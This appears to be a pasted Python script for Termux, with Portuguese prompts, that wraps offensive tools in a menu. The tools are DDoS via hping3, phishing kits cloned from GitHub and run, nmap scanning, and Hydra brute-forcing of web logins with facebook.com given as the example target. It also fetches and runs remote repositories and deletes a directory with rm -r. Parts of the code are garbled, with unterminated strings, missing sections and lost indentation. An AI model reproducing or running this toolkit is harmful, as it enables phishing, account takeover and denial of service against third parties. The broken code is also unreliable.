Professional Documents
Culture Documents
Spider Tools
Spider Tools
import os
import time
import requests
from getpass4 import getpass
# DEFINICAO DE CORES
r = "\033[0;31m"
g = "\033[0;32m"
y = "\033[0;33m"
b = "\033[0;34m"
p = "\033[0;35m"
c = "\033[0;36m"
w = "\033[0;37m"
# DIRETORIOS
temp = "/data/data/com.termux/files/temp"
tools = "/data/data/com.termux/files/temp/tools"
hullk = "/data/data/com.termux/files/temp/tools/hullk"
pyphisher = "/data/data/com.termux/files/temp/tools/PyPhisher"
maxphisher = "/data/data/com.termux/files/temp/tools/MaxPhisher"
r3bus = "/data/data/com.termux/files/temp/tools/r3bu5"
ipgeo = "/data/data/com.termux/files/temp/tools/IPGeoLocation"
gp_ofc = "https://chat.whatsapp.com/LdDFNY8JpEO2R6CKMDKMDz"
# X // MENSSAGEM FECHAR
x = '''
frase = "FERRAMENTA OFICIAL DA COMUNIDADE SPIDERS ! "
for i in list(frase):
print(f"{c}",i, end="''")
sys.stdout.flush()
time.sleep(0.1)
def lp():
print('"\n"')
print('"\n"')
print(f"'"{y}[{p}DESENVOLVEDOR{y}]{g}⟩⟩ {c}MRX{r}@{y}PROJ3CT"'")
lp()
'''
s = '''
frase = "OBRIGADO POR USAR O KIT SPIDERS ! "
for i in list(frase):
print(f"{c}",i, end="''")
sys.stdout.flush()
time.sleep(0.1)
def lp():
print('"\n"')
print('"\n"')
print(f"'"{y}[{p}DESENVOLVEDOR{y}]{g}⟩⟩ {c}MRX{r}@{y}PROJ3CT"'")
lp()
'''
geo = '''
frase = "COPEI A URL ACIMA E COLE NO CHOME ! "
for i in list(frase):
print(f"{c}",i, end="''")
sys.stdout.flush()
time.sleep(0.1)
'''
if os.path.exists('.ss.txt'):
pass
else:
if os.path.isdir(temp):
os.system(f'rm -r {temp}; echo "instalado">.ss.txt')
else:
pass
if not os.path.exists(f'.requests.txt'):
os.system('clear')
print(f"{y}INSTALNDO REQUERIMENTOS....👾\n",'='*75)
os.system(f"""
pip3 install requests; pip3 install getpass4 && echo 'requerimentos: \n\n1°_
requests \n2°_ getpass4'> .requests.txt
""")
os.system('clear')
print(f"\n{c}REQUERIMENTOS INSTALNDO COM SUCESSO !")
time.sleep(0.3)
os.system('clear')
else:
pass
def start():
os.system('clear')
if not os.path.isdir(temp):
os.system(f"mkdir {temp}; mkdir {tools}")
else:
logo = f"""
{r} ███████╗ ██████╗ ██╗ ██████╗ ███████╗ ██████╗
██╔════╝ ██╔══██╗ ██║ ██╔══██╗ ██╔════╝ ██╔══██╗
███████╗ ██████╔╝ ██║ ██║ ██║ █████╗ ██████╔╝
{b} ╚════██║ ██╔═══╝ ██║ ██║ ██║ ██╔══╝ ██╔══██╗
███████║ ██║ ██║ ██████╔╝ ███████╗ ██║ ██║
╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═╝ ╚═╝
menu = f"""
{c}⪩{g}══════════════════════════════════════{c}⪨{g}
┃{c}⪩{g}____________________________________{c}⪨{g}┃
┃│ │┃
┃│ ┃
{c}{y} 𝐌-𝐄-𝐍-𝐔{c} 🪯{g} │┃
┃│ │┃
┃│ {y}[{c}01{y}] D.D.O.S{g} │┃
┃│ {y}[{c}02{y}] PHISING{g} │┃
┃│ {y}[{c}03{y}] SCANNIN/OSINTG{g} │┃
┃│ {y}[{c}04{y}] BRUTE-FORCE{g} │┃
┃│ {y}[{c}05{y}] LOCALIZAÇÃO{g} │┃
┃│ {y}[{c}06{y}] GRUPO-OFC{g} │┃
┃│ {y}[{c}X{y}] SAIR{g} │┃
┃{c}⪩{g}____________________________________{c}⪨{g}┃
{c}⪩{g}══════════════════════════════════════{c}⪨{g}"""
print(logo,menu)
opcao = input(f"""
{g} SELECIONE UMA OPÇÃO
[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
for op in opcao:
if op == "01" or op == "1":
while True:
sub_menu_1 = f"""
{c}⪩{g}═════════════════════════{c}⪨{g}
┃╭{c}⪩{g}══════════════════════{c}⪨{g}┃{g}
┃│ │┃
┃│ {y}[{c}01{y}] HPING3{g} │┃
┃│ {y}[{c}02{y}] HULLK{g} │┃
┃│ {y}[{c}00{y}] SAIR{g} │┃
┃│ │┃
┃╰{c}⪩{g}══════════════════════{c}⪨{g}┃{g}
{c}⪩{g}═════════════════════════{c}⪨"""
os.system('clear'),print(sub_menu_1)
opcao = input(f"""
{g} SELECIONE UMA OPÇÃO
[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
if opcao == "01" or opcao == "1":
uid = os.geteuid()
if uid == 0:
os.system('clear')
site = input(f"""
{y} DIGITE O IP DO SITE ALVO
[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
os.system('clear')
porta = input(f"""
{y} DIGITE A PORTA DE SERIÇO
[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
if op == "01" or op == "1":
os.system('clear;')
if os.path.isdir(pyphisher):
os.system(f'clear; python3
{pyphisher}/pyphisher.py')
os.system(f"clear; python3 {temp}/x2.py")
exit(0)
else:
os.system(f"clear; git clone
https://github.com/KasRoudra/PyPhisher.git; mv PyPhisher {tools} ;cd {pyphisher};
pip3 install -r files/requirements.txt --break-system-packages")
os.system(f'clear; python3
{pyphisher}/pyphisher.py')
os.system(f"clear; python3 {temp}/x2.py")
exit(0)
else:
if op == "02" or op == "2":
if os.path.isdir(maxphisher):
os.system(f'clear; python3
{maxphisher}/maxphisher.py')
os.system(f"clear; python3 {temp}/x2.py")
exit(0)
else:
os.system(f'clear; git clone
https://github.com/KasRoudra/MaxPhisher.git; mv MaxPhisher {tools}; python3
{maxphisher}/maxphisher.py')
if op == "03" or op == "3":
if os.path.isdir(r3bus):
os.system(f"bash {r3bus}/r3bu5.sh")
os.system(f"clear; python3 {temp}/x2.py")
exit(0)
else:
os.system(f'clear; git clone
https://github.com/k46-db0y/r3bu5.git; mv r3bu5 {tools}; bash {r3bus}/r3bu5.sh')
os.system(f"clear; python3 {temp}/x2.py")
exit(0)
else:
if op == "x" or op == "X":
os.system(f"clear; echo '{s}' > x2.py ;mv x2.py
{temp}; python3 {temp}/x2.py")
break
else:
if op == "03" or op == "3":
sub_menu_2 = f"""
{c}⪩{g}═════════════════════════{c}⪨{g}
┃╭{c}⪩{g}══════════════════════{c}⪨{g}┃{g}
┃│ │┃
┃│ {y}[{c}01{y}] NMAP{g} │┃
┃│ {y}[{c}02{y}] WHOIS{g} │┃
┃│ {y}[{c}X{y}] SAIR{g} │┃
┃│ │┃
┃╰{c}⪩{g}══════════════════════{c}⪨{g}┃{g}
{c}⪩{g}═════════════════════════{c}⪨"""
os.system('clear'),print(sub_menu_2)
opcao = input(f"""
[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
if opcao == "01" or opcao == "1":
os.system('clear')
print(f"""
{c}⪩{g}═════════════════════════{c}⪨{g}
┃╭{c}⪩{g}══════════════════════{c}⪨{g}┃{g}
┃│ │┃
┃│ {y}[{c}01{y}] COMPLETO{g} │┃
┃│ {y}[{c}02{y}] BASICO{g} │┃
┃│ {y}[{c}03{y}] SIMPLES{g} │┃
┃│ {y}[{c}X{y}] SAIR{g} │┃
┃│ │┃
┃╰{c}⪩{g}══════════════════════{c}⪨{g}┃{g}
{c}⪩{g}═════════════════════════{c}⪨""")
tipo = input(f"""
[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
if tipo == "01" or tipo == "1":
if os.path.exists(f"{temp}/nmap.log"):
os.system('clear')
site_Ip = input(f"""
{y} DIGITE A {c}SITE{y} OU {c}IP{y} PARA SCAN
[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
if site_Ip == "":
print(f"{r}VOCE PRECISA INFORMAR UM
SITE OU IP VALIDO !")
else:
os.system(f'nmap -A {site_Ip}')
exit(0)
else:
os.system(f'clear; echo "SESSAO DO USER:
MRX\n\nLOG: 01"> nmap.log; mv nmap.log {temp} && apt install nmap -y ')
site_Ip = input(f"""
{y} DIGITE A {c}SITE{y} OU {c}IP{y} PARA SCAN
[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
if site_Ip == "":
print(f"{r}VOCE PRECISA INFORMAR UM
SITE OU IP VALIDO !")
else:
os.system(f'nmap -A {site_Ip}')
exit(0)
else:
if opcao == "02" or opcao == "2":
os.system('clear')
site_Ip = input(f"""
{y} DIGITE A {c}SITE{y} OU {c}IP{y} PARA SCAN
[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
if site_Ip == "":
print(f"{r}VOCE PRECISA INFORMAR UM
SITE OU IP VALIDO !")
else:
os.system(f'nmap -sV {site_Ip}')
exit(0)
else:
if opcao == "03" or opcao == "3":
os.system('clear')
site_Ip = input(f"""
{y} DIGITE A {c}SITE{y} OU {c}IP{y} PARA SCAN
[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
os.system(f'clear; nmap {site_Ip}')
else:
if not os.path.exists(f"{temp}/whois.log"):
os.system(f'clear; apt install whois; echo
"SESSAO DO USUARIO: MRX\n\nLOG: whois_01"> whois.log; mv whois.log {temp}')
else:
os.system('clear')
if opcao == "02" or opcao == "2":
while True:
os.system("clear")
web = input(f"""
{y} DESEJA USAR A VERSAO WEB DA FERRAMENTA ?
[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
if web == "sim" or web == "SIM" or web ==
"s" or web =="S" or web == "quero":
os.system('clear'),print(f"{y}ACESSANDO
{c}WHOIS...")
os.system('termux-open http://who.is')
break
else:
os.system('clear')
if web =="":
os.system('clear')
print(f"{r}ERRO: {r}DIGITE {y}SIM{r}
PARA ACESSA A FERRAMENTA {y}WHOIS {r}VIA WEB OU {y}NAO {r}PARA USAR VIA
TERMINAL !")
time.sleep(3)
os.system('clear')
else:
site_Ip = input(f"""
{y} DIGITE O {c}DOMINIO{y} OU {c}IP{y} PARA SCAN
[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
if site_Ip == "":
print(f"{r}VOCE PRECISA INFORMAR UM
DOMINIO OU IP VALIDO")
time.sleep(3)
os.system('clear')
else:
os.system(f'whois {site_Ip}')
else:
if opcao == "x" or opcao == "X":
os.system(f"clear;python3
{temp}/x2.py")
else:
if op == "04" or op == "4":
uid = os.geteuid()
if uid ==0:
while True:
sub_menu_5 = f"""
{c}⪩{g}═══════════════════════════{c}⪨{g}
┃╭{c}⪩{g}════════════════════════{c}⪨{g}┃{g}
┃│ │┃
┃│ {y}[{c}01{y}] HYDRA {g} │┃
┃│ {y}[{c}X{y}] SAIR{g} │┃
┃│ │┃
┃╰{c}⪩{g}════════════════════════{c}⪨{g}┃{g}
{c}⪩{g}═══════════════════════════{c}⪨"""
os.system('clear'),print(sub_menu_5)
opcao = input(f"""
[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
for op in opcao:
if op == "01" or op == "1":
if not
os.path.exists(f"{temp}/hydra.log"):
os.system(f'echo "SESSAO DO
USUARIO: MRX\n\nLOG: hydra_01"> hydra.log; mv hydra.log {temp}')
else:
lista = f"""
{c}⪩{g}══════════════════════════════════{c}⪨{g}
┃╭{c}⪩{g}═══════════════════════════════{c}⪨{g}┃{g}
┃│ │┃
┃│ {y}[{c}01{y}] LISTA DE USUARIOS {g} │┃
┃│ {y}[{c}02{y}] APENAS UM USUARIO {g} │┃
┃│ │┃
┃╰{c}⪩{g}═══════════════════════════════{c}⪨{g}┃{g}
{c}⪩{g}══════════════════════════════════{c}⪨"""
os.system('clear'),print(lista)
li = input(f"""
[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
if li == "01" or li == "1":
os.system('clear')
login = input(f"""
{c} DIGITE O CAMINHO DO ARQUIVO DE USERS
{p}EX{g}:{y}/data/data/com.termux/files/home/targets.txt
[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
passwd = input(f"""
{p}EX{g}:{y}/data/data/com.termux/files/home/senhas.txt
[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
servico = input(f"""
{c} DIGITE O NOME DO SITE
{p}EX{g}:{y}facebook.com/login.php
[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
os.system(f"hydra -L {login} -P
{passwd} http-post://{servico}")
else:
login = input(f"""
{p}EX{g}:{y}/data/data/com.termux/files/home/targets.txt
[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
passwd = input(f"""
{c} DIGITE O CAMINHO DO ARQUIVO DE SENHA
{p}EX{g}:{y}/data/data/com.termux/files/home/senhas.txt
[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
servico = input(f"""
{c} DIGITE O NOME DO SITE
{p}EX{g}:{y} facebook.com/login.php
[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
os.system(f"hydra -l {login} -p
{passwd} http-post://{servico}")
else:
if op == "x" or op == "X":
if os.path.exists(f"{temp}/x2.py"):
os.system(f'clear;python3
{temp}/x2.py')
exit(0)
else:
os.system(f"clear; echo '{s}' >
x2.py;mv x2.py {temp};python3 {temp}/x2.py")
else:
os.system('clear'),print(f"{r}DESCULPE A
FERRAMENTA REQUER PREVILEGIO {c}ROOT")
time.sleep(3)
else:
if op == "05" or op == "5":
if os.path.isdir(ipgeo):
os.system('clear')
ip = input(f"""
DIGITE IP QUE DESEJA RASTREAR
[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
if os.path.exists(f"{temp}/geo.py"):
os.system(f'python3 {temp}/geo.py')
else:
os.system(f'echo "{geo}"> geo.py; mv
geo.py {temp} && python3 {temp}/geo.py')
os.system(f'clear;python3
{ipgeo}/ipgeolocation.py -t {ip}')
else:
os.system(f"""
git clone
https://github.com/maldevel/IPGeoLocation.git
mv IPGeoLocation {tools}
cd {ipgeo} ; pip3 install -r
requirements.txt --user""")
ip = input(f"""
DIGITE IP QUE DESEJA RASTREAR
[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
else:
if op == "06" or op == "6":
os.system('clear')
print(f"{y}[{c}MRX{r}@{y}PROJ3CT]{g}⟩⟩
{y}Olá irei direcionar você ao nosso grupo oficial.\n\n{p}ACESSANDO...{y}
[{g}SPIDERS {c}128{g}Gb Ram{y}]")
os.system(f"termux-open {gp_ofc}; termux-
open {gp_ofc}")
else:
if op == "x" or op == "X":
if os.path.exists(f"{temp}/x.py"):
os.system(f'clear;python3
{temp}/x.py')
else:
os.system(f"clear; echo '{x}' >
x.py;mv x.py {temp};python3 {temp}/x.py")
start()